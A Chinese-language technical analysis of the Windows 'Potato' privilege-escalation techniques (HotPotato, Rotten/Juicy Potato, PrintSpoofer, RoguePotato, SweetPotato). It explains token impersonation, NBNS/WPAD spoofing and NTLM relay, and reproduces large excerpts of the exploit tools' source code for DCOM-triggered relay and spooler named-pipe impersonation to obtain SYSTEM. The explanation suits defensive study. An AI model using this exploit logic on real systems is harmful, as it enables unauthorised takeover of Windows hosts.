前言
土豆系列的提权原理主要是诱导高权限访问低权限的系统对象,导致低权限的对象可以模拟高权限对象的访问
令牌(Access Token),进而可以用访问令牌创建进程,达到代码执行。
访问控制模型有两个主要的组成部分,访问令牌(Access Token)和
安全描述符(Security Descriptor),它们分别是访问者和被访问者拥有的东西。通过访问令牌和安全描述符的内容,Windows可以确定持有令牌的访问者能否访问持有安全描述符的对象
关于令牌
令牌模拟
windows token又叫access token,是一个描述进程或者线程安全上下文的一个对象,不同的用户登录计算机后,都会生成一个access token,这个toekn在用户创建进程或者线程时候就会被不断拷贝,也就解释了A用户创建一个进程而该进程不会有B用户的权限
组成
主要分为:主令牌primary令牌、模拟令牌impersonation令牌
当用户注销后,系统将会使主令牌切换为模拟令牌,而模拟令牌不会被清除只有重启机器后才会被清除
每个进程都有一个主令牌,用于描述与进程关联的用户帐户的安全上下文。当进程的线程与安全对象交互时,系统将使用主令牌。线程可以模拟客户端帐户。模拟允许线程使用客户端的安全上下文与安全对象进行交互。模拟客户端的线程同时具有主令牌和模拟令牌
令牌的组成:
用户帐户 ( SID) 安全标识符
用户是其中一个成员的组的 ID
标识 当前登录 会话的 登录 SID
用户 或 用户组拥有的权限列表
所有者 SID
主组的 SID
用户创建安全对象而不指定安全描述符时系统 使用的默认 DACL
访问令牌的源
令牌是主 令牌还是模拟令牌
限制 SID 的可选列表
当前模拟级别
其他统计信息
创建过程
使用凭据进行认证–>登录Session创建–>Windows返回用户sid和用户组sid–>LSA(Local Security Authority)创建一个Token–>依据该token创建进程、线程(如果CreaetProcess时自己指定了 Token, LSA会用该Token, 否则就继承父进程Token进行运行)
模拟等级
SecurityAnonymous 服务器无法模拟或标识客户端
SecurityIdentification 服务器可以获取客户端的标识和特权,但不能模拟客户端
SecurityImpersonation 服务器可以模拟本地系统上的客户端安全上下文
SecurityDelegation 服务器可以在远程系统上模拟客户端的安全上下文
常规通过用户身份创建进程的函数
CreateProcessWithLogon 不需要特权 域/用户名/密码
CreateProcessWithToken 需要SeImpersonatePrivilege Primary令牌
CreateProcessAsUser 需要SeAssignPrimaryTokenPrivilege和SeIncreaseQuotaPrivilege Primary令牌
当拥有了SeAssignPrimaryTokenPrivilege、SeImpersonatePrivilege就能够以primary令牌方式来创建新的进程从而提升权限
常规土豆提权漏洞
烂土豆(Rotten Potato)提权MS16-075
CVE-2020-0668
CVE-2020-0683 MSI Packages Symbolic Links Processing - Windows 10 Privilege Escalation
CVE-2020-8950
CVE-2020-0683
CVE-2019-1002101
CVE-2019-0986
CVE-2018-1088
实际使用
基本介绍
该提权手法前提是拥有SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege权限,以下用户拥有SeImpersonatePrivilege权限,而只有更高的用户如system才拥有SeAssignPrimaryTokenPrivilege权限:
本地管理员账户(不包含管理组普通用户)和本地服务账户
由SCM启动的服务
也可以理解拥有SeImpersonatePrivilege、SeAssignPrimaryTokenPrivilege也就是system权限
注意,及时本地组策略授予管理员组普通用户SeImpersonatePrivilege权限,在whoami /priv内也无法显示该特权,且无法利用,SeAssignPrimaryTokenPrivilege权限可以正常授予普通用户
windows服务账户:
Local System NT AUTHORITY\SYSTEM
Network Service NT AUTHORITY\Network Service
Local Service NT AUTHORITY\Local Service
即,提权是administrator->system service->system
实际使用场景在于iiswebshell、sqlshell的情况下获取到的是服务账户,其实是个低权限账户,那么用该手法就可以提到system
HotPotato
基本介绍
基于NTLM反射的权限的攻击方式,可以从主机最低用户权限提升至system,其中将利用ntlm relay(http->smb)和nbns欺骗,获取windows最高权限
nbns
net bios name service 是windows中使用的udp广播服务,使用udp进行实现,可以通过发送局域网内广播来实现本地名称解析
类似于dns,负责查找目标机器对应的ip,并赋予一个netbios服务,微软的wins服务采用的就是nbns服务,实现欺骗是会向所有主机广播一条信息,谁是XXX,如果谁回应了这个消息票,谁就是XXX,内网渗透下攻击者往往将监听nbns广播信息,并会应答自己是XXX,这就是nbns欺骗,nbns包有1个2字节的txid字段,必须进行请求与响应,因为是提权漏洞,攻击前没有权限可以监听流量,但可以通过1——65535进行泛红猜解
另外如果网络中有dns协议,那么久不会使用nbns,可以通过udp端口耗尽从而实现dns查询失败,这么一来就必须使用nbns
补充
系统进行一个名字查询的逻辑如下
1、查询本地hosts文件
2、dns lookup查询(本地dns缓存,远程dns)
3、nbns请求
如下当访问一个不存在的域名时候,windows将触发nbns进行请求查询,请求的地址是255,此处是一个广播包,任何人都可以进行回复
wpad代理
web proxy autodiscovery protocol 是web代理自动发现协议的简称,功能是可以使局域网中用户的浏览器自动发现内网中的代理服务器,并使用已发现的代理服务器连接互联网或者企业内网,支持所有主流浏览器,从ie5开始就已经支持了代理服务器自动发现切换的功能
当系统开启了代理自动发现功能后,用户浏览器上网时候浏览器会在当前局域网中自动查找代理服务器,如果找到了代理服务器,则会从代理服务器上下载一个PAC配置文件,文件中定义了用户在访问一个URL时所使用的代理服务器,浏览器会下载并解析该文件,将相应的代理服务器设置到用户的浏览器中
smb relay
让受害者尝试使用带有ntlm身份验证的smb协议相向攻击者进行身份验证,然后攻击者会将这些凭证中继回受害者的计算机,并且使用类似psexec的技术获得远程访问权限
此处smb->smb relay已经不再能成功,但是利用跨协议攻击,http->smb relay依旧可以成功
实际攻击
ie检测ie代理配置时候,方式是访问http://wpad/wpad.dat
其中wpad不一定存在于网络内,因为即使有dns服务器也没有必要解析wpad,除非网络想通过配置脚本自动配置网络中的代理信息
在hosts、dns查询都不能获取wpad的情况下,系统必然使用nbns进行名字查询,此时可以通过nbns欺骗告知自己就是wpad可以伪造http服务,响应http的http://wpad/wpad.dat请求
通过在本地构造http,将wpad的流量全部引导本地127.0.0.1,即使低权限用户发出对wpad的nbns欺骗,高权限也会受到影响,认为wpad就是欺骗后的结果,包括本地管理员和system进程
本地http服务器收到请求时,将会响应如下内容
FindProxyForURL(url,host){
if (dnsDomainIs(host, "localhost")) return "DIRECT";
return "PROXY 127.0.0.1:80";}
这也就导致了所有http流量都将在本地运行的服务器上进行重定向,因为能够控制http流量到我们控制的目标,那么可以尝试重定向到请求ntlm身份验证的地方,所有的http请求都重定向http://localhost/GETHASHESxxxxx,请求http://localhost/GETHASHESxxxxx,ntlm身份验证的401将请求响应,然后将任何ntlm凭据中继到本地smb并创建运行用户定义的服务,当有请求来自高权限账户,如,来自更新服务时候,将以system权限运行
利用步骤
1、nbns欺骗
2、构造本地http从而响应wpad
3、http->smb relay
4、等待高权限进程的访问,激活更新服务
注意,因为windows设置代理和wpad文件的方式不同,有时不会那么的稳定,当漏洞利用不成功时,需要让他运行并等待,当有缓存条目的wpad时,或者没有找到wpad而允许直接访问internet时,会需要30-60分钟来刷新wpad文件,此时需要再次运行exp进行出发
RottenPotato & JuicyPotato
基本介绍
通过 DCOM CALL 来使服务向攻击者监听的端口发起连接并进行 NTLM 认证,rotten和juicy是相似的原理,后者在前者的基础上更加完善
补充
使用 DCOM 时,如果以服务的方式远程连接,那么权限为 System,例如 BITS 服务
使用 DCOM 可以通过 TCP 连接到本机的一个端口,发起 NTLM 认证,该认证可以被重放
LocalService 用户默认具有 SeImpersonate 和 SeAssignPrimaryToken 权限
实现攻击流程
1、加载com,发出请求,权限为sytem,在指定的ip和端口位置尝试加载一个com对象
此处使用的com对象为bits,CLSID为{4991d34b-80a1-4291-83b6-3328366b9097}
可提供的com对象不唯一
2、回应第一步的请求,发起ntlm认证,正常情况下由于权限不足,当前不是sytem所以无法认证成功
3、针对本地端口,同样发起ntlm认证,权限为当前期用户,此处使用的是135,juicy支持指定任意本地端口
4、分别拦截两个ntlm认证数据包,替换数据,通过ntlm重放使得第一步system的ntlm认证通过,获得system权限的token,需要修改ntlm的challenge
5、使用system权限创建新的进程
实际攻击
当前权限如下
提权后效果如下
此处clsid可使用如下脚本进行遍历
数据包分析
代码中CoGetInstanceFromIStorage,连接com调用一个bits对象实例,并且从127.0.0.1的6666进行加载
public static void BootstrapComMarshal()
{
IStorage stg = CreateStorage();
Guid clsid = new Guid("4991d34b-80a1-4291-83b6-3328366b9097");
TestClass c = new TestClass(stg);
MULTI_QI[] qis = new MULTI_QI[1];
qis[0].pIID = GuidToPointer("00000000-0000-0000-C000-000000000046");
qis[0].pItf = null;
qis[0].hr = 0;
CoGetInstanceFromIStorage(null, ref clsid, null, CLSCTX.CLSCTX_LOCAL_SERVER, c, 1, qis);
}
com将运行system账户尝试进行ntlm身份验证,要做的就是本地6666监听com接收到的数据包中继回135的rpc监听
查看第一阶段数据包
如下从6666端口进行监听域com的会话,然后将相同的数据包中继到rpc上,再从rpc上收到回复,再回复给com,攻击过程中只需要重复这个过程,知道ntlm认证
再看ntlm中继和本地令牌协商
左边的com将在6666上发送数据包,右边的则是通过数据包内容对数据进行提取,进步开展api调用
为了使用ntlm身份验证在看本地协商安全令牌,必须调用函数AcquireCredentialsHandle来获取数据结构
进步再调用AcceptSecurityContext,输入ntlm协商消息,输出challenge,消息将被发送返回身份验证,此处为dcom
当ntlm身份验证消息响应时,在传递给对AcceptSecurityContext的调用以完成身份验证过程并获取令牌
协商数据包,在rpc和com进行中继,最终com将尝试发送ntlm协商来进行ntlm身份认证,此处将转发给rpc,rpc将回复一个ntlm询问
从com收到ntlm协商消息时,并使用他进行本地协商令牌过程
挑战类型数据包,将ntlm协商数据包转发到rpc上,然后rcp回复挑战数据包,查看两个挑战数据包,两个challenge并不相同,如果仅3是将数据包从rpc转发到com就不会这样
再回到AcceptSecurityContext进行api调用时,输出是一条challenge消息,所做的是利用api结果替换我们发送到com的数据包信息
因为需要com,以system账户运行以操作ntlm质询和用来协商本地令牌保留部分进行身份验证,如果没有替换数据包中这一部分,对AcceptSecurityContext的操作将失败
ntlm身份验证数据包
目前将修改后他ntlm协商数据包转发到com中,其中的Challenge、Reserved同AcceptSecurityContext输出相匹配,当system收到ntlm上个阶段消息时,会在内存中进行幕后验证,这就是为什么要更新保留字段的原因
完成后代表system账户的com将返回发送的身份验证数据包,这里应该是空的,因为是在内存中校验的,然后来进行AcceptSecurityContext的最终调用
利用最终的调用结果以获取模拟令牌
补充 模拟令牌的条件
Juicy potato数据包,大致和rotten potato相似
工具实现分析
实现过程比较复制,中间涉及ntlm认证相关
class PotatoAPI {//api定义
private:
BlockingQueue<char*>* comSendQ;
BlockingQueue<char*>* rpcSendQ;
static DWORD WINAPI staticStartRPCConnection(void * Param);
static DWORD WINAPI staticStartCOMListener(void * Param);
static int newConnection;
int processNtlmBytes(char* bytes, int len);
int findNTLMBytes(char * bytes, int len);
public:
PotatoAPI(void);
int startRPCConnection(void);
DWORD startRPCConnectionThread();
DWORD startCOMListenerThread();
int startCOMListener(void);
int triggerDCOM();
LocalNegotiator *negotiator;
SOCKET ListenSocket = INVALID_SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
SOCKET ConnectSocket = INVALID_SOCKET;
};
PotatoAPI* test = new PotatoAPI();
test->startCOMListenerThread();//创建新的线程监听,处理ntlm认证过程
if (clsid != NULL)
olestr = clsid;
if (!TEST_mode)
printf("Testing %S %S\n", olestr, g_port);
test->startRPCConnectionThread();//创建新的进程中继到rpc
test->triggerDCOM();
BOOL result = false;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ALL_ACCESS, &hToken))return 0;//进程token获取
//enable privileges
EnablePriv(hToken, SE_IMPERSONATE_NAME);
EnablePriv(hToken, SE_ASSIGNPRIMARYTOKEN_NAME);
PTOKEN_TYPE ptg;
DWORD dwl = 0;
HANDLE hProcessToken;
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS,
&hProcessToken);
QuerySecurityContextToken(test->negotiator->phContext, &elevated_token);//accesstoken获取
result = DuplicateTokenEx(elevated_token,//token复制
TOKEN_ALL_ACCESS,
NULL,
SecurityImpersonation,
TokenPrimary,
&duped_token);
//winsock,实现端口复用,select实现多路复用,接收到client后进行ntlm认证
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
hints.ai_flags = AI_PASSIVE;
memset(dcom_port, 0, 12);
wcstombs(dcom_port, g_port, 12);
// printf("[+] Listening on port:%s\n", dcom_port);
// Resolve the server address and port
iResult = getaddrinfo(NULL, dcom_port, &hints, &result);
// Create a SOCKET for connecting to server
ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
int optval = 1;
setsockopt(ListenSocket, SOL_SOCKET, SO_REUSEADDR, (char *)&optval, sizeof(optval));
// Setup the TCP listening socket
iResult = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen);
//printf("startCOMListener bindresult%d\n", iResult);
if (iResult == SOCKET_ERROR) {
freeaddrinfo(result);
closesocket(ListenSocket);
WSACleanup();
return 1;
}
freeaddrinfo(result);
iResult = listen(ListenSocket, SOMAXCONN);
if (iResult == SOCKET_ERROR) {
closesocket(ListenSocket);
WSACleanup();
return 1;
}
//---- non block socket server
timeval timeout = { 1, 0 };
fd_set fds;
FD_ZERO(&fds);
FD_SET(ListenSocket, &fds);
select(ListenSocket + 1, &fds, NULL, NULL, &timeout);
if (FD_ISSET(ListenSocket, &fds))
{
ClientSocket = accept(ListenSocket, NULL, NULL);
if (ClientSocket == INVALID_SOCKET) {
closesocket(ListenSocket);
WSACleanup();
return 1;
}
}
iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);
processNtlmBytes(recvbuf, iResult);//循环ntlm认证流程查看接收到的ntlm认证包
//所有数据包发送到winrpc套接字的发送队列并等待winrpc套接字将数据包放入到发送队列内
rpcSendQ->push((char*)&iResult);
rpcSendQ->push(recvbuf);
//检查是否包含ntlm认证信息,并发送新的信息
processNtlmBytes(sendbuf, *len);
iSendResult = send(ClientSocket, sendbuf, *len, 0);
//创建个socket并连接
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) {
printf("socket failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return 1;
}
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
continue;
//中继转发
int *len = (int*)rpcSendQ->wait_pop();
fflush(stdout);
sendbuf = rpcSendQ->wait_pop();
iResult = send(ConnectSocket, sendbuf, *len, 0);
iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0);
//后面主要是ntlm的协商过程 AcquireCredentialsHandle获取security principal中预先存在的凭据句柄,InitializeSecurityContext和AcceptSecurityContext需要此句柄
int status = AcquireCredentialsHandle(
NULL,
lpPackageName,
SECPKG_CRED_INBOUND,
NULL,
NULL,
0,
NULL,
&hCred,
&ptsExpiry);
第一次调用成功将返回SEC_I_CONTINUE_NEEDED
InitTokenContextBuffer(&secClientBufferDesc, &secClientBuffer);
InitTokenContextBuffer(&secServerBufferDesc, &secServerBuffer);
phContext = new CtxtHandle();
secClientBuffer.cbBuffer = static_cast<unsigned long>(len);
secClientBuffer.pvBuffer = ntlmBytes;
ULONG fContextAttr;
TimeStamp tsContextExpiry;
status = AcceptSecurityContext(
&hCred,
nullptr,
&secClientBufferDesc,
ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
//STANDARD_CONTEXT_ATTRIBUTES,
SECURITY_NATIVE_DREP,
phContext,
&secServerBufferDesc,
&fContextAttr,
&tsContextExpiry);
//处理rpc发来的ntlm type2,将响应修改为AcceptSecurityContext本地协商返回的type2即修改server challenge和reserved
char* newNtlmBytes = (char*)secServerBuffer.pvBuffer;
if (len >= secServerBuffer.cbBuffer) {
for (int i = 0; i < len; i++)
{
if (i < secServerBuffer.cbBuffer) {
ntlmBytes[i] = newNtlmBytes[i];
}
else {
ntlmBytes[i] = 0x00;
}
}
}
//第二次调用AcceptSecurityContext,输入ntlm type3
int status = AcceptSecurityContext(
&hCred,
phContext,
&secClientBufferDesc,
ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
//STANDARD_CONTEXT_ATTRIBUTES,
SECURITY_NATIVE_DREP,
phContext,
&secServerBufferDesc,
&fContextAttr,
&tsContextExpiry);//至此协商过程结束
后面基本就是模拟令牌,然后CreateProcessASUser、CreateProcessWithToken创建进程
PrintSpoofer or PipePotato or BadPotato
基本介绍
核心原理是利用了打印机错误漏洞,其中通过调用api ImpersonateNamedPipeClient来模拟高权限客户端的token(还有类似的ImpersonatedLoggedOnUser,RpcImpersonateClient函数),调用函数后会改变当前线程的安全上下文,结合打印机检查路径的漏洞,使得system权限服务能够连接到攻击者创建的named pipe
spoolsv.exe服务中有一个公开的rpc服务,包含函数如下
函数将调用创建一个远程更改通知对象,该对象监视对打印机的更改,并将更改通知发送到打印机客户端
DWORD RpcRemoteFindFirstPrinterChangeNotificationEx(
/* [in] */ PRINTER_HANDLE hPrinter,
/* [in] */ DWORD fdwFlags,
/* [in] */ DWORD fdwOptions,
/* [unique][string][in] */ wchar_t *pszLocalMachine, //传递unc路径,传递\\127.0.0.1将访问到\pipe\spoolss,因为这个管道已经被系统注册,所以传递时候,会因为路径检查二报错 StringCchPrintf(pwszPipeFullname, MAX_PATH, L"\\\\.\\pipe\\%ws\\pipe\\spoolss", pwszPipeName);
/* [in] */ DWORD dwPrinterLocal,
/* [unique][in] */ RPC_V2_NOTIFY_OPTIONS *pOptions)
服务&管道情况如下:
细谈unc路径报错信息,默认如果server_name是\\127.0.0.1,系统用户会访问\\127.0.0.1\pipe\spoolss,但如果主机名包含/,他讲通过路径验证检查,但是在计算要连接的命名管道路径时,规范会将其转化为\,并且系统还将其认为是ipc连接的方式去发送服务通知
所以作者的思路就能理解了,将接受的主机名设置为\\localhost/pipe/crispr,因为路径规范问题打印机会无人为\\localhost\pipe\crispr\pipe\spoolss,和默认的\\.\pipe\spoolss不是同个管道,因此可以通过创建\\localhost\pipe\crispr\pipe\spoolss来等待SYSTEM权限的spoolsv进程来连接管道
实现攻击
利用效果如下
工具实现分析
if (!CheckAndEnablePrivilege(NULL, SE_IMPERSONATE_NAME))//检测权限SeImpersonate并enable
{
wprintf(L"[-] A privilege is missing: '%ws'\n", SE_IMPERSONATE_NAME);
goto cleanup;
}
wprintf(L"[+] Found privilege: %ws\n", SE_IMPERSONATE_NAME);
if (!GenerateRandomPipeName(&pwszPipeName))//生成随机的管道名
{
wprintf(L"[-] Failed to generate a name for the pipe.\n");
goto cleanup;
}
if (!(hSpoolPipe = CreateSpoolNamedPipe(pwszPipeName)))//创建管道,此处允许任何客户端访问
{
wprintf(L"[-] Failed to create a named pipe.\n");
goto cleanup;
}
if (!(hSpoolPipeEvent = ConnectSpoolNamedPipe(hSpoolPipe)))//等待连接,创建event并返回
{
wprintf(L"[-] Failed to connect the named pipe.\n");
goto cleanup;
}
wprintf(L"[+] Named pipe listening...\n");
if (!(hSpoolTriggerThread = TriggerNamedPipeConnection(pwszPipeName)))//创建新的线程 RpcOpenPrinter 返回命名管道
{
wprintf(L"[-] Failed to trigger the Spooler service.\n");
goto cleanup;
}
dwWait = WaitForSingleObject(hSpoolPipeEvent, 5000);//等待连接
if (dwWait != WAIT_OBJECT_0)
{
wprintf(L"[-] Operation failed or timed out.\n");
goto cleanup;
}
GetSystem(hSpoolPipe);//CreateProcessAsUser提权
StringCchPrintf(pwszPipeFullname, MAX_PATH, L"\\\\.\\pipe\\%ws\\pipe\\spoolss", pwszPipeName);//管道名
hPipe = CreateNamedPipe(pwszPipeFullname, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, &sa); //FILE_FLAG_OVERLAPPED实现异步I/O操作
hThread = CreateThread(NULL, 0, TriggerNamedPipeConnectionThread, pwszPipeName, 0, &dwThreadId);//利用TriggerNamedPipeConnection创建新的线程
TriggerNamedPipeConnectionThread连接命名管道
StringCchPrintf(pwszTargetServer, MAX_PATH, L"\\\\%ws", pwszComputerName);
StringCchPrintf(pwszCaptureServer, MAX_PATH, L"\\\\%ws/pipe/%ws", pwszComputerName, pwszPipeName);
RpcTryExcept
{
if (RpcOpenPrinter(pwszTargetServer, &hPrinter, NULL, &devmodeContainer, 0) == RPC_S_OK)
{
RpcRemoteFindFirstPrinterChangeNotificationEx(hPrinter, PRINTER_CHANGE_ADD_JOB, 0, pwszCaptureServer, 0, NULL);
RpcClosePrinter(&hPrinter);
}
}
RpcExcept(EXCEPTION_EXECUTE_HANDLER);
{
// Expect RPC_S_SERVER_UNAVAILABLE
}
RpcEndExcept;
进步调用BOOL GetSystem(HANDLE hPipe)
if (!ImpersonateNamedPipeClient(hPipe)) //ImpersonateNamedPipeClient 当前线程安全上下文切换为client的
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hSystemToken))//获取令牌
if (!DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hSystemTokenDup))//复制新的令牌,DuplicateTokenEx创建一个primary令牌,DuplicateToken只能创建impersonation令牌,且给予 allaccess
if (g_dwSessionId)
{
if (!SetTokenInformation(hSystemTokenDup, TokenSessionId, &g_dwSessionId, sizeof(DWORD)))//通过cli传递sessionid,指定session中开启新的进程
{
wprintf(L"SetTokenInformation() failed. Error: %d\n", GetLastError());
goto cleanup;
}
}
CreateProcessAsUser、CreateProcessWithTokenW提权同先前的管道实现相仿
if (!CreateProcessAsUser(hSystemTokenDup, NULL, g_pwszCommandLine, NULL, NULL, g_bInteractWithConsole, dwCreationFlags, lpEnvironment, pwszCurrentDirectory, &si, &pi))
{
if (GetLastError() == ERROR_PRIVILEGE_NOT_HELD)
{
wprintf(L"[!] CreateProcessAsUser() failed because of a missing privilege, retrying with CreateProcessWithTokenW().\n");
RevertToSelf();
if (!g_bInteractWithConsole)
{
if (!CreateProcessWithTokenW(hSystemTokenDup, LOGON_WITH_PROFILE, NULL, g_pwszCommandLine, dwCreationFlags, lpEnvironment, pwszCurrentDirectory, &si, &pi))
{
wprintf(L"CreateProcessWithTokenW() failed. Error: %d\n", GetLastError());
goto cleanup;
}
else
{
wprintf(L"[+] CreateProcessWithTokenW() OK\n");
}
}
else
{
wprintf(L"[!] CreateProcessWithTokenW() isn't compatible with option -i\n");
goto cleanup;
}
}
else
{
wprintf(L"CreateProcessAsUser() failed. Error: %d\n", GetLastError());
goto cleanup;
}
}
RoguePotato
基本介绍
和先前的Rotten potato & Juicy potato相仿,rpc部分进行了改变,但依旧利用的是命名管道
修复补丁后,Windows DCOM 解析器不允许OBJREF中的DUALSTRINGARRAY字段指定端口号。为了绕过这个限制并能做本地令牌协商,作者在一台远程主机上的135端口做流量转发,将其转回受害者本机端口,并写了一个恶意RPCOXID解析器
RPC支持的协议
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/472083a9-56f1-4d81-a208-d18aef68c101
SMB ncacn_np (see section 2.1.1.2)
TCP/IP (both IPv4 and IPv6) ncacn_ip_tcp (see section 2.1.1.1)
UDP ncadg_ip_udp (see section 2.1.2.1)
SPX ncacn_spx (see section 2.1.1.3)
IPX ncadg_ipx (see section 2.1.2.2)
NetBIOS over IPX ncacn_nb_ipx (see section 2.1.1.4)
NetBIOS over TCP ncacn_nb_tcp (see section 2.1.1.5)
NetBIOS over NetBEUI ncacn_nb_nb (see section 2.1.1.6)
AppleTalk ncacn_at_dsp (see section 2.1.1.7)
RPC over HTTP ncacn_http (see section 2.1.1.8)
Sweet Potato
基本介绍
com、winrm、spoolsv的合集版本,也就是juicy+printspoofer